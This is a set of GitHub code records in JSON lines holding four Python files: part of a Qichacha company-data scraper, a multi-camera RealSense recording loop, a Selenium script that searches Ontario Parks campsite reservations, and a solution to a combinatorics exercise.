tds[8].xpath('string(.)').strip('\\n')\r\n if operation_period and operation_period != '\t\t\t \t\t\t\t\t - - \t\t\t \t\t\t\t':\r\n base_info['sdate'] = operation_period.split(' 至 ')[0]\r\n base_info['edate'] = operation_period.split(' 至 ')[1]\r\n base_info['commercial_bureau'] = tds[9].xpath('string(.)').strip('\\n')\r\n base_info['approved_date'] = tds[10].xpath('string(.)').strip('\\n')\r\n base_info['old_name'] = tds[14].xpath('string(.)').strip('\\n').replace('\\xa0\\xa0', '').replace(' ', ',')\r\n base_info['address'] = tds[15].xpath('string(.)').replace('查看地图', '').strip('\\n')\r\n base_info['business_scope'] = tds[16].xpath('string(.)').strip('\\n')\r\n\r\n return {'code': 0, 'data': base_info, 'msg': 'ok'}\r\n except:\r\n return {'code': -6, 'msg': '页面结构变化'}\r\n else:\r\n return {'code': -5, 'msg': '基本信息解析失败!'}\r\n\r\n def parseHolders(self):\r\n tree = etree.HTML(self.html)\r\n holder_list = []\r\n trs = tree.xpath('//section[@id=\"Sockinfo\"]/table//tr')\r\n if trs:\r\n for tr in trs:\r\n holder_info = {}\r\n inv = tr.xpath('./td[1]/a[@class=\"text-lg c_a\"]')\r\n if inv:\r\n holder_info['inv'] = inv[0].xpath('string(.)')\r\n holder_info['liSubConAm'] = Xpath(tr, './td[3]/text()')\r\n holder_info['invType_CN'] = Xpath(tr, './td[5]/text()')\r\n holder_list.append(holder_info)\r\n return {'code': 0, 'data': holder_list, 'msg': 'ok'}\r\n else:\r\n return {'code': -5, 'msg': '股东信息解析失败!'}\r\n\r\n def parseKeyPerson(self):\r\n tree = etree.HTML(self.html)\r\n keyPerson_list = []\r\n lis = tree.xpath('//ul[@class=\"m_mb\"]//li')\r\n if lis:\r\n for li in lis:\r\n person_info = {}\r\n person_info['position_CN'] = Xpath(li, './label/text()')\r\n person_info['name'] = Xpath(li, './div/a[2]/text()')\r\n keyPerson_list.append(person_info)\r\n return {'code': 0, 'data': keyPerson_list, 'msg': 'ok'}\r\n else:\r\n return {'code': -5, 'msg': '主要成员信息解析失败!'}\r\n\r\n def parseBranchInfo(self):\r\n tree = etree.HTML(self.html)\r\n branch_list = []\r\n branches = tree.xpath('//div[@class=\"panel-body m_sc\"]/div/a')\r\n if branches:\r\n for br in branches:\r\n branch_info = {}\r\n branch_info['brName'] = br.xpath('string(.)')\r\n branch_list.append(branch_info)\r\n return {'code': 0, 'data': branch_list, 'msg': 'ok'}\r\n else:\r\n return {'code': -5, 'msg': '主要成员信息解析失败!'}\r\n\r\n def parseAlterInfo(self):\r\n tree = etree.HTML(self.html)\r\n alter_list = []\r\n trs = tree.xpath('//*[@id=\"Changelist\"]/table//tr')\r\n altItem_CN = ''\r\n if trs:\r\n for tr in trs:\r\n alter_info = {}\r\n altItem_1 = Xpath(tr, './th[@class=\"m_cl_cr_th\"]/text()')\r\n altItem_2 = Xpath(tr, './th[@id=\"ma_cr_th2\"]/text()')\r\n if altItem_1:\r\n altItem_CN = altItem_1\r\n elif altItem_2:\r\n altItem_CN = altItem_2\r\n altDate = Xpath(tr, './td[2]/text()')\r\n if altDate:\r\n alter_info['altDate'] = altDate\r\n alter_info['altItem_CN'] = altItem_CN\r\n altBe = tr.xpath('./td[3]/div')\r\n if altBe:\r\n alter_info['altBe'] = altBe[0].xpath('string(.)')\r\n altAf = tr.xpath('./td[4]/div')\r\n if altAf:\r\n alter_info['altAf'] = altAf[0].xpath('string(.)')\r\n alter_list.append(alter_info)\r\n return {'code': 0, 'data': alter_list, 'msg': 'ok'}\r\n else:\r\n return {'code': -5, 'msg': '变更信息解析失败!'}\r\n\r\n def run(self):\r\n data = {}\r\n base_res = self.parseBaseInfo()\r\n if base_res['code'] == 0:\r\n data['base_info'] = base_res['data']\r\n\r\n holder_res = self.parseHolders()\r\n if holder_res['code'] == 0:\r\n data['page_partners'] = holder_res['data']\r\n\r\n person_res = self.parseKeyPerson()\r\n if person_res['code'] == 0:\r\n data['page_employees'] = person_res['data']\r\n\r\n branch_res = self.parseBranchInfo()\r\n if branch_res['code'] == 0:\r\n data['page_branches'] = branch_res['data']\r\n\r\n alter_res = self.parseAlterInfo()\r\n if alter_res['code'] == 0:\r\n data['page_changes'] = alter_res['data']\r\n\r\n if data:\r\n return {'code': 0, 'data': data, 'msg': 'ok'}\r\n else:\r\n return base_res\r\n\r\n\r\ndef main(search_word, proxy=None):\r\n list_res = getListPage(search_word, proxy)\r\n if list_res['code'] == 0:\r\n print(list_res['data'])\r\n content = []\r\n for link in list_res['data']:\r\n time.sleep(2)\r\n html_res = getPage(link, proxy)\r\n print(html_res['msg'])\r\n if html_res['code'] == 0:\r\n qichacha = parseQiChaCha(html_res['html'])\r\n data = qichacha.run()\r\n if data['code'] == 0:\r\n content.append(data['data'])\r\n if content and len(content) == len(list_res['data']):\r\n return {'code': 0, 'data': json.dumps(content), 'msg': 'ok'}\r\n elif content and len(content) < len(list_res['data']):\r\n return {'code': -1, 'data': json.dumps(content), 'msg': '抓取不全!'}\r\n else:\r\n return {'code': -2, 'msg': '详情页抓取失败!'}\r\n else:\r\n return {'code': -3, 'msg': list_res['msg']}","repo_name":"Majere2016/Spyderbase","sub_path":"qichacha.py","file_name":"qichacha.py","file_ext":"py","file_size_in_byte":9199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15364092224","text":"import pyrealsense2 as rs\nfrom camera import Camera\nfrom camera_frames import RealsenseFramesToImage\nfrom image_ẁindow import ImgWindow\nfrom typing import List\nimport time\nimport cv2\nimport time\n\n\nclass AllCamerasLoop:\n \n def __init__(self):\n\n self.__cameras = self.get_all_conected_cameras()\n self.__frames_interpreter = RealsenseFramesToImage()\n \n def get_all_conected_cameras(self) -> List[Camera]:\n \n def get_conected_cameras_info(device_suffix: str) -> [[str, str, rs.rs400_advanced_mode]]:\n '''\n Return list of (serial number,names) conected devices.\n Eventualy only fit given suffix (like T265, D415, ...)\n (based on https://github.com/IntelRealSense/librealsense/issues/2332)\n '''\n self.save_serials = []\n ret_list = []\n ctx = rs.context()\n i = 0\n self.advnc_mode = []\n devices = ctx.devices\n for d in devices:\n serial_number = d.get_info(rs.camera_info.serial_number)\n name = d.get_info(rs.camera_info.name)\n usb_type = d.get_info(rs.camera_info.usb_type_descriptor)\n \n # setup Sync Mode\n # Inter-camera synchronization mode: 0:Default, 1:Master, 2:Slave, 3:Full Salve, 4-258:Genlock with burst count of 1-255 frames for each trigger, 259 and 260 for two frames per trigger with laser ON-OFF and OFF-ON.\n\n if serial_number == \"039222250073\":\n MASTER = 1\n else:\n MASTER = 2\n ctx.query_devices()[0].first_depth_sensor().set_option(rs.option.inter_cam_sync_mode, MASTER)\n \n print(f'Found Device: {i} {name} : {serial_number}: on USB {usb_type} ')\n print(f'\\t Camera {serial_number} is : {ctx.query_devices()[0].first_depth_sensor().get_option(rs.option.inter_cam_sync_mode)} ') \n # \n if device_suffix and not d.get_info(rs.camera_info.name).endswith(device_suffix):\n continue\n ret_list.append([serial_number, name, rs.rs400_advanced_mode(d)])\n self.advnc_mode.append(rs.rs400_advanced_mode(d))\n\n i = i +1\n return ret_list\n\n cameras = get_conected_cameras_info(device_suffix='D455')\n __camera = []\n for serial_number, name, advnc_mode in cameras:\n \n __camera.append(Camera(serial_number=serial_number, name=name, adv=advnc_mode))\n self.save_serials.append(serial_number)\n self.save_all_serials()\n return __camera \n \n def save_all_serials(self):\n with open(f'serials.txt', 'w') as fp:\n for item in self.save_serials:\n # write each item on a new line\n fp.write(\"%s\\n\" % item)\n fp.close() \n print('Done')\n \n\n def __get_window_name(self):\n s = ''\n for camera in self.__cameras:\n if s:\n s += ', '\n s += camera.get_full_name()\n return s\n \n def get_frames(self) -> List[rs.frame]:\n '''\n Return frames in given order. \n '''\n ret_frames = []\n\n for camera in self.__cameras:\n frames = camera.get_frames()\n if frames:\n ret_frames += frames\n\n return ret_frames\n\n\n def set_videos(self):\n colorwriter = []\n depthwriter = []\n for camera in self.__cameras:\n colorwriter.append(camera.colorwriter)\n depthwriter.append(camera.depthwriter)\n return colorwriter, depthwriter\n\n\n\n def f_close(self):\n for camera in self.__cameras:\n camera.f.close()\n \n #def f_time(self, i, date_start):\n # for camera in self.__cameras:\n # camera.f.write(str(time.time()*1000)+'\\n')\n\n def frames2plot(self):\n # Here I plot RGB and Depth frames\n window = ImgWindow(name=self.__get_window_name())\n self.save = False\n j = 0\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n while not self.stop:\n frames = self.get_frames()\n ret_img = self.__frames_interpreter.get_image_from_frames(frames=frames, add_tile=False)\n window.show(ret_img)\n key = cv2.waitKey(1)\n self.stop = window.is_stopped(key) \n self.save = window.is_save(key)\n\n if (self.save==True):\n m, n = 0, 0\n for i in range(len(ret_img)):\n if i%2:\n fname = f\"frames/RGB_{self.save_serials[n]}_{timestr}_{j}.png\"\n n = n+1\n else:\n fname = f\"frames/D_{self.save_serials[m]}_{timestr}_{j}.png\" \n m = m +1 \n #cv2.imwrite(fname,ret_img[i][0])\n j = j + 1\n\n self.save = False\n self.f_close()\n\n\n\n def frames2avi(self, N):\n colorwriter, depthwriter = self.set_videos()\n j = 0 \n while not self.stop:\n # wait for pipeline\n frames = self.get_frames()\n img_frame_tuples = self.__frames_interpreter.save_image_from_frames(frames, self.save_serials)\n #total_elapsed = time.time()-date_start\n #self.f_time(self, i, date_start)\n m, n = 0, 0\n for i in range(len(img_frame_tuples)):\n if i%2:\n colorwriter[n].write(img_frame_tuples[i][0])\n n = n+1\n else:\n depthwriter[m].write(img_frame_tuples[i][0])\n m = m +1 \n \n #print('Frame num: %d, fps: %d' %(i, N/total_elapsed))\n #cv2.imwrite('1.png',img_frame_tuples[0][0])\n \n j = j +1\n if j == N:\n self.f_close()\n for i in range(4):\n colorwriter[i].release()\n depthwriter[i].release() \n self.stop = True\n \n def frames2png(self, N):\n j = 0\n while not self.stop:\n frames = self.get_frames()\n img_frame_tuples = self.__frames_interpreter.save_image_from_frames(frames, self.save_serials)\n m, n = 0,0\n for i in range(len(img_frame_tuples)):\n if i%2:\n fname = f\"frames/RGB_{self.save_serials[n]}_{j}.png\"\n n = n+1\n else:\n fname = f\"frames/D_{self.save_serials[m]}_{j}.png\" \n m = m +1 \n cv2.imwrite(fname,img_frame_tuples[i][0])\n j = j + 1\n if j == N:\n self.f_close()\n self.stop = True\n def frames2pointCloud():\n pass\n\n def run_loop(self, camera_mode, N = 10):\n self.stop = False\n \n # Capture 10 frames to give autoexposure, etc. a chance to settle\n \n for i in range(10):\n _ = self.get_frames()\n \n print('Camera running')\n date_start = time.time()\n \n if camera_mode == 0:\n self.frames2plot()\n\n elif camera_mode ==1:\n # here i save RGB and Depth frames in AVI\n \n self.frames2avi(N)\n elif camera_mode ==2:\n \n self.frames2png(N)\n else:\n\n self.frames2pointCloud()\n \n","repo_name":"igorfed/librealsense_multicamera","sub_path":"camera_loop.py","file_name":"camera_loop.py","file_ext":"py","file_size_in_byte":7771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"46218575136","text":"from selenium import webdriver\nfrom pageDetail.selectionDetails import selections\nfrom pageDetail.siteSelection import siteSelection\n\ndriver = webdriver.Chrome(executable_path='chromedriver.exe')\ndriver.get('https://reservations.ontarioparks.com/')\ndriver.maximize_window()\n\ndriver.implicitly_wait(6)\n\npartySize = 3\nserviceType = 'Electric'\n\narrivalMonth = 'Aug'\narrivalDay = '30'\nnights = 7\n\ntry:\n # Initializing selection page\n selection = selections(driver)\n \n # Select equipment type \n selection.setEquipmentSelection()\n \n # Set party size\n selection.setPartySize(partySize)\n \n # Set service type\n selection.setServiceType(serviceType)\n\n # Re-select/enter equipment and party size for page timeout\n selection.setEquipmentSelection()\n selection.setPartySize(partySize)\n\n selection.setDates(arrivalMonth, arrivalDay, nights)\n\n # Location:\n selection.setLocation(None)\n # Initializing site selection page\n siteSelect = siteSelection(driver)\n # Find available campground\n siteSelect.findCampground()\n # Find available site\n siteSelect.findSite()\n\n\nfinally:\n # Close driver \n driver.close()\n pass","repo_name":"TheKinshu/ParkReservation","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"10292775281","text":"\"\"\"\n치킨 배달 - 3회차\n\"\"\"\n\n# 풀이 제한 시간 : 40분\n# 2021/01/18 12:47 ~ 13:14\n# 정답!\n\nfrom itertools import combinations\n\nn, m = map(int, input().split())\n\ndata = []\nhome = []\nchicken = []\nfor i in range(n):\n data.append(list(map(int, input().split())))\n\n for j in range(n):\n if data[i][j] == 1:\n home.append((i, j))\n elif data[i][j] == 2:\n chicken.append((i, j))\n\nanswer = int(1e9)\nfor combination in list(combinations(chicken, m)):\n city_distance = 0\n\n for h in home:\n chicken_distance = int(1e9)\n\n for ch in combination:\n chicken_distance = min(chicken_distance, abs(h[0]-ch[0])+abs(h[1]-ch[1]))\n \n city_distance += chicken_distance\n\n answer = min(answer, city_distance)\n\nprint(answer)\n\n\n","repo_name":"LeeSeok-Jun/Algorithms","sub_path":"algorithms_questions/ch12_implementaion/q13_2.py","file_name":"q13_2.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"}